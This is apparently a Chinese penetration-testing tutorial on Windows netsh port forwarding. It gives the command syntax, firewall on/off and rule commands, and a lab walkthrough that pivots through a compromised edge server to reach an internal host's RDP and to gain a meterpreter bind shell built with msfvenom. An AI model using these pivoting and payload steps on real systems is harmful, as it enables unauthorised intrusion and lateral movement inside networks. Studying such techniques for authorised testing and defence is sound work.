君子藏器于身待时而动,安全不露圭角覆盂之安。
——AnonySec
简介
自Windows XP开始,Windows中就内置网络端口转发的功能。任何传入到本地端口的TCP连接(IPv4或IPv6)都可以被重定向到另一个本地端口,或远程计算机上的端口,并且系统不需要有一个专门用于侦听该端口的服务。
对于渗透来说,也是一款非常好用的工具。比如:进行各类常规 tcp、udp 端口 ”正向” 转发以及对指定防火墙规则的各种增删操作等。
命令语法
关于netsh端口转发的命令语法如下:
1 | netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport |
listenaddress – 等待连接的本地IP地址。
listenport – 本地侦听TCP端口。
connectaddress – 将传入连接重定向到本地或远程IP地址(或DNS名称)
connectport – 远程端口
防火墙管理
在 windows2003下使用netsh,需要先安装好ipv6支持,由于netsh同时支持ipv4和ipv6端口转发,如果不装,netsh工作可能会有些问题。
1 | netsh interface ipv6 install 装完后立马重启系统 |
Win2003 之前系统
关于netsh在2003下的操作命令相对于之后的系统有所不同
1 | netsh firewall show state 查看当前系统防火墙状态 |
Win2003 之后系统
1 | netsh advfirewall show allprofiles 查看当前系统所有网络类型的防火墙状态,比如,私有,公共,域网络 关闭当前系统防火墙 |
增删操作
1 | add 增加规则 |
实例说明
环境准备
☁️VPS攻击机
192.168.199.246
☁️目标边界Windows 2008服务器(出网)
内网IP 192.168.144.202
目标内网Widnwos 2003服务器(不出网)
内网IP 192.168.144.155
利用场景
RDP端口转发
通过☁️目标边界2008服务器
访问目标内网2003服务器
的远程桌面RDP:
【注:边界服务器执行netsh】
1 | netsh advfirewall firewall add rule name="2003-rdp" dir=in action=allow protocol=TCP localport=33389 |
通过连接☁️边界2008服务器
成功登录到内网2003服务器
。
端口转发利用后,将转发规则删除。
1 | netsh advfirewall firewall delete rule name="2008-rdp" dir=in protocol=TCP localport=33389 |
Metasploit上线
通过☁️边界2008服务器
把其内网2003服务器(不出网)
通过payload上线到☁️VPS攻击机
的metasploit上。
1 | netsh advfirewall firewall add rule name="mete bind" dir=in action=allow protocol=TCP localport=5353 |
通过msfvenom生成正向的payload,ahost为允许访问的机器,将该payload在内网2003服务器(不出网)
上执行。
1 | sudo msfvenom -p windows/meterpreter/bind_tcp LPORT=53 AHOST=192.168.144.155 -f exe > netsh.exe |
接着,在☁️VPS攻击机
启用metasploit监听后,内网2003服务器(不出网)
成功上线。
1 | sudo msfconsole -q |
端口转发利用后,将转发规则删除。
1 | netsh advfirewall firewall delete rule name="mete bind" dir=in protocol=TCP localport=5353 |
建议
- 尽量选择穿透性较好的端口
- 用于转发的端口不能和目标系统中现有的端口冲突
- ……